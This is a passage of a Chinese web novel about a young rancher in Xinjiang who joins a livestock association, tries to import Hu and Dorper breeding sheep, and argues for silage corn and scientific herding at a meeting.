“同志请坐”，他示意赵媛媛给几人倒水，“我听赵媛媛的意思你是要做三元杂交，这可不是个小工作，除了技术方面的问题，还有杜泊羊的种羊引进问题，都不是很好解决啊？” 倒也不是他瞧不上姚新泉一个年轻女孩儿，主要是国内目前确实是没有杜泊羊的。 早几年引进过，但是因为各种原因实验没有进行下去，引进的杜泊种公也过了配种的适龄。 这两年也没人主动牵头重新拾起这个实验，她一个小姑娘，到哪里去搞杜泊种公？ 还有技术问题，本地没有农业大学，新省最出名的农大是在乌鲁木齐，以如今的交通情况去一趟来回就 得差不多一个星期，耽搁不起啊！ 至于本地的相关技术员，不是他赵强眼光高看不上他们，主要那些真的有点儿本事的，要么就是去了大城市，要么就是进了各大种羊场、种牛场之类的去做繁育，基层是真的没有好的技术员。 与其指望那些技术员，倒还不如指望不知道从哪儿得到的这种杂交设想的姚新泉呢！ “会长提到的两个问题目前已经都有了进展，杜泊种公的引进途径我已经找好了，等手续办完，农大那边的刘教授会帮我牵头由农大出面引进，再由我的牧场与农大签协议。而农大的相关教授和学生也会在我牧场上实习，技术问题也就解决了。所以目前最大的问题反而是湖羊的种羊。如果咱们协会没办法解决的话，那我可能还得去一趟湖州周边。” 她不想自己去不是说因为担心路途太远，主要问题还是交通或者说是运输的问题。 她去了，找到种羊，签了合同付了钱然后呢？怎么运回来呢？铁路？总不能用卡车拉吧？ 距离近也就算了，将近5000公里的路途，回来之后羊还能剩一半吗？ 而铁路运输的话还得专门跟货运部门申请牲畜专用车厢，办理相关检疫手续。 她一个外地人跑到那边去人生地不熟，办什么都容易被人卡脖子。 但如果是这种半官方的协会牵头就不一样了啊！ 所以除非真的没办法，不然她不是特别想自己去买。 第48章 虽然赵强本来也没有小觑姚新泉,但是现在不免还是将她的能量更提高了几分，这两件事哪个都不好解决，可人家就是解决了！ 无非就是两种情况,一种是她家里人有关系,一种是她自己本事大,不管哪种都不能得罪。 “这样”,赵强沉吟了一会儿,“我之前有一次开会的时候见过浙江省协会的会长,我先联系他一下，看看他那边是什么意思，是通过省协会对接还是让咱们直接跟湖州那边对接。” 姚新泉心里一喜，“那真的太感谢会长你了,回头请你吃饭！” 说完又问,“那不知道咱们协会的入会有没有什么条件呢？我觉得咱们协会确实能为养殖户还有行业的发展都提供很多便利。我们这些私营的养殖户哪个不是单打独斗的,如果能有这么一个平台多交流学习，我相信对咱们本地的畜牧业发展肯定能带来深远的影响！” 赵家父女两人脸上的笑意都深了一些，“赵媛媛,你带姚同志去办一下入会手续”,说完又转头对姚新泉道，“我先联系下那边看看。” 马强见事情有苗头了心里也高兴,“姚老板,那我先在这预祝你培育新种成功！不管是新种还是你牧场之前的,只要你想卖,你第一个联系我，我肯定给您市场最高价！” 姚新泉拍了拍他的肩膀示意自己知道了，他跟白杨两个没跟上去凑热闹，先走了。 赵媛媛带着姚新泉去了另一位工作人员处,在查验过她的营业执照、身份信息之后，又收了一年500块的会费，姚新泉的牧场正式加入了本地的畜牧业行业协会。 赵媛媛对姚新泉很好奇，全程跟着她到处走，“姚同志，我是真没见到几个像你这样的年轻人来搞养殖的，你怎么会做这一行？” 不是说凡事一定得分个高低贵贱出来，只是养殖这种跟牲畜接触的行业总是让人觉得不该是年轻小姑娘踏足的地方。 姚新泉笑了笑，“谁也没规定干养殖的就一定得是四五十岁的老汉吧？咱们协会不也一再强调要科学养殖吗？我讲句不好听的，你让养了一辈子牲畜的养殖户去学一些新的方法新的理论，人家未必会认同，人家自有一套自己习惯了的模式。我们就不一样了，仰赖前辈们开创的盛世有了读书的条件，比人家多读了几本书，多认了几个字，接收新事物的速度总是快一些的。” 赵媛媛认同地点头，想到之前的事情不免多了两分抱怨，“可不是嘛，大家也都是为了咱们畜牧业能有更好的发展，之前协会请了教授过来讲课，好几个养殖户不仅不好好听，还总觉得自己是对的，教授是错的。人家教授倒也不因为这个生气，反而跟他们分析这样做的原理，但那几个人一看说不过了，就开始耍赖皮说一些类似‘我读书少嘴巴没你厉害说不过你’这种话，把人气得不行！” 想到什么她眼睛一亮，“也是巧，明天咱们协会请了新省农科院的一位同志过来推广他们新研发的一种青贮玉米，你有兴趣来听听吗？其实咱们挺久之前就已经给会员们通知到位了，你才加入，我差点都给忘了！” 赵媛媛性格大大咧咧的，姚新泉自然不在意这个，“明天吗？那如果确定比较合适的话，种子也可以通过咱们协会向农科院购买吗？” 赵媛媛点头，“自然是可以的，我听他们说，这个青贮玉米已经在不少地方试种过，效果还不错，亩产也不低，所以这次上面想要大规模地推广，你要是感兴趣你就来听听，就算不感兴趣，认识认识行业的人也不错！” 她转回了自己前台的位置处，从抽屉里掏出两颗糖来塞给姚新泉，自己也剥了一颗塞在嘴里，“我看你年纪估计跟我也差不多大，应该才毕业吧？就算你跟着家里人学过养殖，但是多认识认识那些老的养殖户们其实也不错！” 姚新泉自然感谢她的好意，“那你明天给我留个位置啊！明天几点？” “早晨11点，那你是回去明天再来还是？”她前面看了姚新泉牧场的位置，要是回去再来还真挺折腾的。 姚新泉也是这样想的，幸好今天跟马合木提江夫妇说好了，自己晚上要是没回来他们就再照顾一天，所以晚上不回去倒也不打紧。 再说了，她还想留下来盯一盯湖羊的事情呢！ 另一边赵强把几人送出去后就翻出了浙江省畜牧业行业协会会长程峰的办公室电话打了过去，他一说来意，那边立马把湖州市协会的电话给了他，赵强又联系了过去。 可这次事情不是很顺利，接电话的人一听想要购买本地湖羊种羊立马就拒绝了，也没给个正经理由，反正就是不乐意，随后便把电话挂了。 赵强再打过去的时候便没人接了，他这下火了，你要真给个理由也就算了，他好歹也是一个市协会的会长，亲自打过去，就这样不明不白地被挂了电话？ 想了想赵强也生气了，又给浙江省协会的会长打了过去，程峰听到是赵强还以为事情成了来感谢自己呢，他笑道，“怎么样，那边能给多少？” 赵强都被气笑了，此时也毫不掩饰地告状，“程会长，你说这事也弄得我挺尴尬的。这事儿不是我非得引进湖羊，你说我们新省本地也不缺羊不是？种羊场也有不少，像离我这边也就三四十公里就有一家萨伊普种羊场，那也是国营单位，每年从它那边出去的种羊最起码是有几十万头的，我是没做过繁育工作的，要我说不如就直接进咱们萨伊普种羊场出来的羊羔子，保不准还有售后呢！” 程峰皱了皱眉，心想这人在这瞎扯一通到底要讲什么？ 就听赵强接着道，“但这也不是我想养，是我们这边协会的一个会员，别看人家年纪不大，但人家本事真不小，又是联系了我们农大的教授给她做技术指导，又是搞定了一种国外的羊的引进渠道，讲不好听一点人家背后这都有政府给背书了，她就看上了你们湖州的湖羊，我也没办法，只能帮她解决问题。” 这话说的姚新泉都要以为自己是什么行业二代、皇太子或者皇太女了！ 那边程峰也听出不对了，本身这位他提到的养殖户如何跟自己是没有什么关系的，可现在听这话锋，是没办成？ 程峰没忍住问道，“怎么了，湖州协会那边不同意牵线？” 问完又觉得不对，不至于啊！这可是打开 他们湖羊局面的一个大好机会，他不信那些人不明白！ 从古至今但凡提起哪里的羊肉好吃，大家第一反应都是新省或者内蒙的，哪里有他们湖羊的份儿？不少人还觉得他们这边的羊膻味重，没人家的好吃，名头也就是行业内有点儿水花，外人知道的少。 如今有这么个机会，虽说未必能有什么成就，但是试试也是好的啊！凭什么不干？ 赵强叹了口气，那口气叹得曲里拐弯的，莫名闹得程峰心里也不高兴了，“可不是吗？你说他要是跟我讲没有了或者别的正当理由我也就不说什么了，人家说了一堆我也闹不明白是什么意思，他就把电话给我挂了，再打人家就直接不接了，你说我有什么辙？” “赵会长，你等等，我先挂了你这边去问问是怎么回事！”程峰黑着脸撂下了电话。 赵强看着电话冷笑一声，想到什么他赶紧出去找姚新泉，“小姚，你过来一下，我有点事情想跟你说。” 等姚新泉过来之后他把事情的经过跟她说了之后才道，“我是想着感觉你应该也有一些自己的门道，你不如找人问问这里面到底有什么事儿？” 他倒是可以等程锋那边的结果，但是他担心的是这里面别涉及到一些他们协会内部的破烂事儿，万一程锋把事情压下来了，他们还在这傻傻等着，这不耽误时间吗？ 湖羊是要用来产下第一批杂交羊羔的母本，得这边繁育出来，并且长大了，后面才能再进行三元杂交。 时间就是金钱，可一点不能耽搁。 姚新泉皱了皱眉，怎么就复杂成这样了，可她还是跟赵强道谢便离开了。 出了协会之后她想了想还是给师月江打了个电话，说明了今天的事情。 师月江正在看他哥给他的公司资料呢，接到电话后赶忙道，“你别担心，我这就安排人去湖州一趟，先查清楚是协会在居中捣乱还是什么其他的问题。你是想从国营种羊厂引进种羊还是从私营的？我让他多留一阵子，等把羊送上火车之后再回来。我再把你的电话给他，等他到了那边之后有事直接跟你沟通成吗？” 姚新泉被逗笑了，“行，就当莱尼的寄养费了！” 谁知这次师月江反倒是很敏感，赶忙道，“不行，我跟莱尼的费用，以后我给你打工还债，这次只是我出于朋友的身份帮忙而已。” 姚新泉沉默了一会儿，电话那边的师月江心都提起来了，她才道，“好。” 第49章 张立扬挂了电话后眉头轻轻皱了起来,“怎么了，这副表情？”刘兵见张立扬站在自己办公桌前面心里不大高兴，自己这里确实没有什么不可见人的东西,但是自己这个主人不在,他跑到自己位置那里去是想做什么？ “没什么”,他敷衍过去后想了想还是问,“二叔,金太阳种羊场那边差不多搞定了,政府什么时候能同意家里的收购方案？这事儿也拖了一段时间了，我担心拖得太久的话事情万一黄了……” 刘兵狠狠瞪了他一眼之后拉开门四下打量了一下，这才关上门低声呵斥，“你胡说八道什么呢！这里是你能放肆的地方吗？” 这个蠢东西！ 老天爷可真是不公平,这种蠢货家里竟然那么有钱,现在还想把国营的种羊场盘下来！ “二叔你也太谨慎了些”,张立扬不以为意，他跟张立扬又不是直系亲属关系，他媳妇儿是张立扬的侄女儿,也是因为她,自家才能搭上刘兵的路子。 刘兵不仅是协会的会长，同时也在种羊场里兼职了一个顾问的工作,在那里还是说的上话的。 自家想要以最低的价格收购下种羊场,接手场里的牲畜、地皮及其他财产,还得砍掉多数的员工,这些可都要指望着刘兵在里面周旋呢！ 这两年种羊场的效益愈发不好了，这跟许多原因都有关系。对于种羊场的员工来说自然是晴天霹雳，可如果自家能以远远低于市场的价格收购种羊场，那对自家来说可就是一个机遇了。 因此张立扬是绝对不允许现在还有别的个人或者单位向种羊场订购种羊的！ 两人又聊了几句后刘兵赶紧把张立扬送走了,这个管不住嘴的家伙，迟早会给自己带来大麻烦！ 姚新泉很是信任师月江，不仅因为他自己，也因为他背后的资源，所以引进湖羊的事情就暂时由他那边去安排人处理吧！ 第二天下午姚新泉早早就到了协会，赵媛媛笑着拉着她往会场里走，“我看已经来了不少人了，我爸让我跟你说萨伊普种羊场的人也来了，国营单位的人都傲气”，赵媛媛嘴上这样说，可脸上是掩饰不住的嫌弃，姚新泉见状笑了起来。 赵媛媛拉了她一下，低声道，“本来就是嘛，一个个鼻孔都长到脑袋顶上了，也不知道在傲什么！早两年也就算了，咱们市太偏了，什么都是人家先开始推广，等落地一段时间后咱们再跟着做。年初的时候上面发文要对国企内部采取‘破三铁’的运动，甭管是铁饭碗还是铁交椅或者铁工资那都成了过去式了，进去国企了又怎么样，不一样会下岗？咱们年轻人下岗还能出去找工作，他们那种四五十岁的人家私企也不会要啊！还一个个那么牛！” 过年的时候她相了一位男同志，对方是带着他母亲去的，她母亲四十来岁也就是国企的普通员工，连个中层领导都算不上，那个牛气啊！想想就来火！ “我听说这次的运动逼得这些国企也都在内部纷纷做改革，萨伊普种羊场之前都不对个体户开放，今年也开放了，我觉得你可以去跟人家聊一聊。” 赵媛媛给她使了个眼色，以前萨伊普种羊场哪里参加过这种小活动，她估计着他们这次过来也是想着能打开一些销售渠道。 姚新泉心里琢磨了一会儿后跟她道谢，“你消息真灵通，帮我大忙了！回头请你吃饭！” 阿勒泰种羊可以私下寻摸或者是找萨哈列那边，但是家里那一批新省细毛羊也可以配种了。 新省细毛羊属于季节性发情的牲畜，自然发情更集中在秋季，大概是8月到10月这样。但是姚爸姚妈当时买的这批小羊那时候还没成熟呢，没办法配种。 现在其实已经一岁半差不多就能配了，如果春天配的话，秋天大概能产崽。如果在等到秋天配种的话，明年春天接春羔，这又得耽误一年！ 能不能改善羊毛质量暂且不提，如果只指望着这批羊一年剪个两三次羊毛，撑死了一年回1万块，这还是毛利润，扣掉杂七杂八的还能剩几个钱？ 多耽误一年那就是在浪费啊！ 所以姚新泉考虑了很久还是决定在春天给羊配种，但是问题也不小。 春天羊群的自然发情率不算太高，可能得人工干预，尽量不使用激素吧，不然又得增加成本！ 其实姚新泉不知道的是，家里这批羊也是姚爸姚妈看价格合适捡漏来的，他们最开始的设想是买1岁多的羊羔，这样去年秋天就能配种。 但这批羊价格确实合适，哪怕多养一年都亏不了所以他们才入手的。 姚新泉进了会场之后不少人都看了过来，本以为是协会的工作人员，可看到她坐在了参会区域时众人不免惊讶，这么年轻的小丫头也是牧民？还是她是代表哪个企业过来走个形式的？ 牧民跟企业员工在外形上还是有一定区别的，他们市的牧民绝大多数都是少民，穿得相对正式一点的便是穿了件军大衣，穿得随意一些的，有的裹着羊皮袄子就来了。 而那些单位的员工们，基本上都穿得还比较体面，两拨人泾渭分明，姚新泉自然是直接坐到了牧民那边。 “你也是牧民吗？”听到身边的人在跟自己说话，姚新泉笑着朝他点了点头，“你好，我是阿依巴勒县的牧民，我叫姚新泉。” “阿依巴勒？姓姚？”那人愣了愣又仔细打量姚新泉的长相，突然拍了下大腿，“你是姚晓 军的女儿？” 姚新泉瞪大了眼睛，“你认识我爸？” 阿合买提用力点头，表情也亲切了许多，他从羊皮袄子口袋里掏出两个奶疙瘩塞给她，“我自己家的你尝尝，你阿爸最喜欢吃我家的奶疙瘩了！你阿爸呢，他怎么没来？” 姚新泉握着酸奶疙瘩的手紧了紧，“我父母去年因为交通事故意外离世了。” 阿合买提脸上是掩饰不住的震惊跟伤心，“晓军，晓军他”，他张了张嘴半晌没说出话来，也没了跟姚新泉聊天的心情，坐回了自己的位置没再说话。 姚新泉不认识这位同志，但是也很正常，她爸爸的朋友特别多，因为父母一起走了，很多人她都不认识，自然不会去主动联系告知父母的情况，所以事实上虽然当时两人的葬礼已经来了许多人，但还是有不少人还不知道二人的死讯的，就像阿合买提一样。 她摇了摇头不再去想别的，目光放到了旁边正在和其他人说话的一个中年男性身上，听旁人讲，他是萨伊普种羊场的饲养管理员。姚新泉也没急着去搭话，既然他们种羊场已经决定将市场向个体户开放，实在不行到时候自己找上门去也一样，今天最重要的还是了解青贮的问题。 下午四点活动准时开始，赵强给大家介绍了今天活动的主讲人，也就是新省农科院的一名研究（实习）员，据说今天要宣讲的这个青贮玉米就是他们团队研发的。 姚新泉掏出本子认真记笔记，她心里比较着今天推广的新青1号青贮玉米跟自己之前想要买的中单2号，听起来好像新青1号更好一点。 就听研究员继续道，“新青1号是我们团队九零年才研发出来的一款青贮玉米，目前已经在兵团农场以及一些牧场小范围地试种过了，效果都还不错。而且这个品种相对中科院改良的中单2号来说更适合咱们新省绝大多数地区。这种品种更加耐寒、抗旱，北疆大部分地区无霜期短，中单2号更适合相对气温比较高的地区，对水肥也有一定要求，这几项上新青1号都更好一些。” 姚新泉暗暗点头，确实是这样。她了解过中单2号是一种兼用型玉米，籽粒和秸秆都比较高产，但主要问题就是对水肥的要求高。 她的牧场里有流淌经过的河流，沿途如果要种确实可以，但也有那种相对干旱一些的地区，那边才是自己需要补种牧草的重点区域。那边用水也比较费劲，自己如果真的要种中单2号，难不成还得在牧场上开渠或者备上配套的滴灌设备？ 成本太高了，谁家这样养羊啊！ 这也是她一直纠结没有定下来的主要原因。 青贮玉米除了之前看好的中单2号以外，还有几种种子需要国外进口的青贮她也比较喜欢，但还是那个问题，成本太高了。 除了青贮玉米之外，她还考虑苜蓿跟燕麦，但各有各的问题吧！综合来讲，青贮她还是更考虑玉米，别的也就是搭着。 “你讲了这么多你咋不说说这东西亩产多少？什么价格？你光说好处，谁不知道好处，这也不能只看到好处吧？” 姚新泉的思绪被打断，忍不住看向说话的人，是一个裹着羊皮袄子的老汉，看上去五十来岁的样子，手里的旱烟杆子一敲一敲的，瞧着很是不高兴。 赵强皱了皱眉，怎么又是他！刚想说什么就见研究员笑了笑，“同志你别着急，咱们想推广一种产品，那肯定是要把各方各面都讲到，再由你们去考虑是否要引进，是否符合你们牧场的需求。” 听了这话众人纷纷点头，确实，这事儿不可能强制的。 第50章 “同志你别着急,我接下来就要给你介绍这个”，孙磊前年刚从农大研究生毕业就进了自治区农科院，从事一些辅助科研活动。 这个新青1号虽然是他们团队研发的,但是他进入的时候已经进入尾声了,所以真说起来他不觉得这里面有自己的功劳在。 这次领导安排他们这些实习人员出来从事一些推广活动他就心里很虚,现在有人提意见了他更是额头都渗出汗来了。 “目前根据在各地小范围推广的情况来看,新青1号的产量大约在4-5吨/亩,当然了这都跟各地的气候、土质、肥力等等有关系。不过目前在昌吉、塔城还有伊犁等地试种效果都还不错。” “至于用量的话,目前来看每亩地所需的种子差不多在2-2.3公斤，这也跟种植的密度跟地块条件有关，不过基本上是够了的。” “价格的话，目前农科院能给到的价格就是3.8元一公斤,全疆都是这个价格,如果种植得较多,我们农科院也是会提供技术指导的。” “同志，你们这价格可比咱们本地的一些种子贵多了，咱们自己在外面买苞谷种子最多也就2块一公斤,你这不是坑人吗？”一老汉不高兴道,这给牲畜吃得咋比给人吃得还贵！哪有这样的！ “是啊，这也太贵了,我承包了300亩的牧场,这样算下来就得要一千多块的种子,我卖五六头羊要是行情不好都卖不到一千块呢！” “可不是！咱们养了一辈子羊了,这羊什么时候吃什么，咱们哪能不知道？冬天都有提前准备的麦草、牧草，弄什么青贮！” “还有，我们老老实实放牧,这领导就跑到家里去要求我们加这个协会，不加还不行！这还不是免费的，一年就要几百块！你说我们要是加了你能真为我们老百姓干点事情倒也行，你看看你们，你们这不是变着法子捞钱吗？我们就想养点牛羊，赚得都是辛苦钱！血汗钱！你们就不能别折腾我们老百姓吗？” 孙磊见下面吵起来了很是茫然的同时不免看向赵强，此时赵强心里也很不痛快。 协会是政府牵头的，那政府必然是会向下面的基层要求他们去动员养殖户。 可他们要求的是动员！不是强迫！ 但赵强自己心里也清楚，什么时候都免不了层层加码，这上面说鼓励养殖户加入协会，进行科学养殖，到了最下面就变成必须加入协会，否则不让你干养殖了！ 姚新泉看着周围吵成一片也有些无奈，这些养殖户最少也有二三十年的养殖经验，要说他们不懂养殖，姚新泉自己都不信。 科学养殖不代表要把他们从前的所有经验都摒弃掉，相反是为了让养殖户更具有竞争力，这是好事，不能让大家有这种抵触情绪。 新旧观念交替时的阵痛是难免的，但只要未来是好的，那就得更新理念，科学养殖。 她的目光扫到对面那些“正规军”身上时，就见他们一个个脸上都是毫不掩饰的鄙夷，这让姚新泉心里不痛快了。 见上面两人一时没有出声，姚新泉自己突然站了起来拍了拍手，“各位，我先自我介绍一下，我是阿依巴勒县的养殖户，我叫姚新泉，我相信在座的诸位中应该有人认识我父母姚晓军跟苏永华。在我父母意外离世后，我在去年下半年接手了我家承包下来的四千亩的牧场。” 众人见有人出来说话便也渐渐听了争执，听到她提到姚晓军的名字又提到姚晓军的意外，不少人都很是唏嘘，倒也都安静下来听她说话。 “我是大学生，但我学的不是畜牧相关专业，我的大多数养殖知识还是从我父母那里学来的，也就是咱们北疆本地养殖户这么些年传下来的老经验，因为这些经验我才能 才敢去经营一家牧场。” “但是仅有一些老经验是不够的，社会在发展，科学技术每时每秒都在革新。大家本来站在同一个起跑线上，但人家学了新的能提高产能提高经济效益的办法咱不学？谁不想多赚点钱？” “可能有些同志会说咱们几十年甚至上百年都是这样养下来的，怎么养羊还要人教？”见不少人点头她笑了笑，“可老话里不是还有那么一句吗，家财万贯带毛的不算！为啥这样说？就是因为养殖有风险啊！要完全一成不变按照老经验来，那你们说，国家要求咱给牲畜打口蹄疫的疫苗、打布病的疫苗、打炭疽疫苗这些都是为什么？不都是为了减少咱养殖户的损失？这不都是科学养殖？在座的各位有谁又能拍着胸脯说不用国家给牲畜打？” 众人脸色变了变，怎么不用？那肯定用啊！不说别的，这布病可是人畜共患病呢！ 台上的赵强见到场面被安抚下来后脸上也多了几分笑意，“小姚同志说得没错，注射疫苗算是科学养殖的一方面，大家也都接受了疫苗，那为什么不能接受别的呢？” 第一个说话的老汉看着姚新泉想了想，突然问道，“小丫头，那你说你有按照科学养殖的方法来吗？赚到钱了吗？” 姚新泉笑着点头，“我家去年9月多份买了80头羯羊，当时平均每只35公斤左右，我养到了12月底，育肥的时候分了前期、中期、后期，随时调整牲畜的饲料，3个月左右我的羊平均每只大概58公斤左右，增重了23公斤，平均每天增重差不多250克到半公斤。” 众人一片哗然，他们育肥三个月最多也就增重15公斤左右，别看这一只差五六公斤的肉，一百只，一千只那就不一样了啊！ “你怎么养的？这个我们能学吗？”老汉双眼放光地盯着她。 姚新泉谦虚地笑了笑，“我就是按照科学的方法考虑到了育肥所需的营养不同时期有不同的饲料配比。不过我刚也说了我也只是个新手，刚好咱们会长也在，不如就让会长之后组织更专业的人来给咱们讲一讲怎么科学养殖？会长你看行吗？” 赵强自然没有不乐意的，他们协会不怕组织活动，就怕不组织或者组织了没人来！ 但现在看大家都还挺感兴趣的样子他自然是乐意的，“这样，我之后联系一下咱们农业跟畜牧业的相关部门，尽快组织相关培训，为咱们养殖户能科学养殖、提高经济效益尽一份力！” 姚新泉带头鼓掌，众人也都跟着鼓起掌来。 怕大家以为她藏私，姚新泉又解释道，“我也都是从书上看的，那些书也基本都是农大的教授或者农科院的研究员们出版的，如果大家有兴趣，我回头把书名告诉大家，你们可以想办法找回去看看！” “我说得有点多了，耽误大家时间了”，她不好意思地笑了笑，“可是我还是想提一句关于咱们今天的主题，也就是青贮饲料的事情。确实有的朋友会觉得没有必要，这会增加咱们养殖户的成本。但是就像我刚才说得，如果使用了科学的饲料配比能让牛羊增重更快，那对咱们养殖户来说可不是天大的好事儿！” “咱们从前到了冬天那就只是去晒干一些牧草、麦草之类的，但是比起干饲料，青贮饲料无论是在营养上还是在适口性上都远远超过了干饲料。至于为什么不用普通苞谷做青贮饲料，我也说一下我的见解。主要也是因为普通苞谷成熟之后那个秸秆比较粗，吃多了牲畜没办法消化。而且咱们家里的那种苞谷就是为了吃苞谷棒子的，营养也都在苞谷粒上，所以这种秸秆跟叶子也没有专门做青贮饲料的好，产量也没有青贮玉米的高。咱们做这么多不就是为了能让牛羊肥一点重一点吗？咱们人都是吃了有营养的东西才能长胖，那牛羊你天天给人家吃没营养的，人家怎么可能给你好好长！” 姚新泉耳朵好，听到有人小声嘀咕自古以来大家都是这样养羊的，她轻笑一声，“我还得跟大家解释一下，这用青贮饲养牲畜可不是咱们近些年科学发展起来之后慢慢出现的。早在咱们中国1500多年前的北魏时期，有一本咱们中国现存最早也最完整的综合性农书《齐民要术》里就记载过类似青贮法的一些办法去延长饲料的保存时间，真深究下来，这可是咱们老祖宗留下来的办法啊！” 众人哗然，1500多年前就有记载？ 孙磊脸上写满了惊讶，他怎么也没想到来这么一个偏远的市里工作竟然会遇到这么一位懂得真多的女士，还是一名养殖户！ 他接上了姚新泉的话，“这位同志说得没错，《齐民要术》中确实提到了‘窖麦法’、‘积茭法’，跟咱们现在提到的青贮是有一定相似性的。” 毕竟是来宣讲青贮饲料的，如果因为他没工作好导致大家不接受新青1号或者直接抗拒青贮饲料，那他可真是罪过大了！ “我今天来推广新青1号的种子不是说一定要强迫大家去种植这种青贮饲料，而是给大家提供一种相对来说更现代化更科学的喂养方式。但是无论怎样都得结合咱们自身条件或者牧场条件来！况且咱们牧场本身也有牧草，就算种植也不可能在整个牧场上种满青贮的，就像这位同志家里4000亩牧场，总不能种四千亩吧？” 众人闻言笑了起来，会场气氛也渐渐好了，等结束后姚新泉率先去订购了50亩的种子，也就不到200块。 孙磊最后还提到了目前有些大型牧场都在尝试在青贮饲料里使用益生菌添加剂，但这玩意儿确实贵，现在一公斤要三五百块钱谁用得起？ 还是以自然发酵为主吧！实在不行，放点儿自制的老面进去也一样能促进发酵！ 50-60 第51章 会议结束的还算顺利,不少人来找姚新泉要联系方式，她提前准备好的名片也派上了用场。 就连孙磊也主动来找她，“姚同志,今天真是多谢你了！” 他很是感激,这次算是他为团队第一次出来独当一面,如果没做好的话,虽然未必会影响他的工作,但是难免会给人留下难当大任的印象。 他对自我认知还比较清晰,孙磊自认并不是一位专业能力多高超的人，至少跟团队里的其他前辈没办法比，那这样的话他就更要有被留下来的价值了。 姚新泉笑着摇了摇头，“主要也是新青1号确实不错,无论是产量还是对咱们新生气候的适应性都算是目前来说拔尖的,那我就没有不支持的道理。” 在会议上最先说话的老汉还没走,他凑到孙磊的身边，苍老的脸上有一大片被冻过的痕迹，泛着红。 “研究员啊,咱们这种植青贮饲料是不是都得用机子去种跟收割啊？咱们小养殖户哪里来的钱去用机械？太贵了啊！” 孙磊赶忙道,“老人家，不是一定要用机械的,目前东北那边基本上是全都采用了机械化收割,有专门的青贮收割机,配合铡切、压实等机械进行工作。咱们新省的话也就少量兵团地区有用机械化生产,这种模式效率高，也适合大规模的生产。” “但是这成本也高，所以不少地区还都是采用的人工收割，成本低一些,咱们农民或者牧民用镰刀收割了青贮作物后，用铡草机切碎，再人工装填、窖藏。确实会费劲儿一些，但是便宜啊！” 有时候人工其实是最不值钱的资源了，可以人工割两天就不要用机器割一天。 也许是因为姚新泉最先说话，所以老汉又看向姚新泉似乎是想问询她的意见。姚新泉想了想后还是道，“我觉得这个还是看各自的情况，如果觉得犁地麻烦，可以租了机器请了师傅过来犁地播种，之后人工收割。或者咱们养牲口的家里都有牛，套上车去犁地也一样的。” “这青贮也只是特殊在是用来喂牲口的，不是给人吃的，但说到底不就是种庄稼嘛？要是咱牧民实在不会，那再想办法问问那些家里有地的看他们是怎么种的，或者跟他们一起租犁地机跟收割机，这样应该也能便宜一些。反正怎么方便怎么来就成！” 老汉想了想后点头，留下一句“你跟你阿爸一样心善”后就离开了。姚新泉哭笑不得，她爸爸真是无处不在啊！ 两人又聊了几句后也互 相留了联系方式，孙磊这才离开。 赵强让姚新泉先去自己办公室等他，等送走孙磊之后他才赶回了办公室。 “姚同志你今天是真让我刮目相看啊！”赵强满脸都是赞叹，各个方面，无论是在专业素养还是行事风范上她看起来都不像一位初出茅庐的小姑娘！ “湖羊的事情我这边再帮你打听打听”，说起这事他心里还怪别扭的，人家就是冲着希望他们协会在中间帮忙做做工作的想法加入协会的，结果现在人家帮了自己的忙，结果自己倒没帮上对方！ 想到这里他更是尴尬了，“也未必一定要湖州，我再跟他们省协那边打听打听，看看周边各市哪里的湖羊好”，毕竟湖羊虽然叫湖羊，但是也并不仅仅只是在湖州一个地区有，周边地区那是都有的。 姚新泉自然没有拒绝他的好意，也没提自己已经找人帮忙了的事情，赶紧道谢，“真是麻烦你了，为了我的事情一再找那边。” 赵强摆了摆手不是很在意道，“你要是真培育出良种来，那反而是打响了他们湖羊的名号呢！说起牛羊来，他们可远远比不上咱们！” 突然想到什么赵强眼睛一亮，“你那牧场挺大的，你有考虑过除了牛羊再养点鸡鸭吗？” 姚新泉点头，自然是想过的，“我打算在牧场上养些伊犁鹅还有草原绿头鸭，还打算引进点儿藏鸡。” 赵强想了想这几种家禽的特性后不得不感慨着小姑娘是真的有点儿东西啊！ 伊犁鹅就不用说了，这本来就是本地的品种，耐寒、耐粗饲，非常适合在草原上散养，而且抗病能力很强。 草原绿头鸭的话虽然不是本地品种，比不得本地的鸭子，但是比起南方的鸭子来说还是耐寒性要强一些的，既然她想养那说明牧场上肯定是不缺水源的，也就冬季麻烦一点，平时也能散养。 藏鸡更不用说了，那本来就是西藏那边的品种，适应高寒气候，抗病能力强。 这几种牲畜都适合散养，除了气候异常太热或者太冷的情况下需要人工干预，平时基本散养就可以，成本低。主要是防范防范天敌，问题都不太大。 “我相信你心里也有数，做好轮牧，别破坏牧场就行”，到底是承包了三十年，这也才刚开始，如果这就把草场破坏了，未来恢复起来会很麻烦的。 姚新泉点头，刚想说什么就听他道，“我这边有一种家禽，不是咱们本地品种，但是也挺不错的，养好了经济效益也不低，叫珍珠鸡，你考虑吗？” 主要也是听她说家里4000亩的牧场，虽然牧场这么大肯定有一部分是没办法好好利用的，但是能利用的地方也不会少，不用这不是在浪费资源吗？ “珍珠鸡？”姚新泉眉心一动，她倒是听说过这种鸡，不过不说本地了，新省应该目前都没多少人养殖吧？ “珍珠鸡原产于非洲，所以这种家禽耐旱，更适合温暖干燥的气候，在咱们本地养的话过冬是个问题，饲养难度不算小。” “但是珍珠鸡的肉质细嫩，蛋白质含量比较高，脂肪含量低，蛋类也营养丰富，不过蛋类产量不高。这种鸡还是以散养为主，可以以谷物、青草、昆虫为食，饲料的转化率比较高，总的来讲经济效益不低。” “目前咱们自治区协会想要引进一批珍珠鸡，你如果有想养殖的意向可以跟我说，我这边能给你弄来一批，你怎么想的？” 姚新泉怎么想的？自然是同意啊！ 先不说她本身就觉得养珍珠鸡是很有经济效益的，单从这个事情本身来看就很有意义。 参与这种政府或者相关部门牵头的项目，政府搞不好就会有相关补贴来给养殖户降低初期的投入成本。而且搞不好还会有技术兜底呢！毕竟如果养殖户干了结果血本无归项目本身没办法落地对他们来说也不是好事。 到时候不管是接受自治区级的一些技术培训还是市级的培训对她一个新手来说绝对是不可多得的学习的机会啊！ 与此同时还能提升自己的科学管理水平、获得更为成熟的养殖技术规范，减少了自己的试错成本，就算珍珠鸡养得不好，对自己养殖别的家禽来说肯定也是有利的。 另外虽然不知道珍珠鸡这个项目会不会有，但是之前有的项目官方那边还会给销售渠道呢！ 一个项目，投入少，货源、技术、销售全部给考虑好了，为什么不做？ 做！必须得做！ “只要我满足加入的条件那我肯定愿意做！” 听了她的话赵强满意地笑了，之前他遇到过一些傻蛋，那是真的傻蛋，他给了对方机会，但是对方总能找各种借口推拒，又是没钱了又是没地又是没技术，总之有各种理由不愿意养，想到就让人生气！ 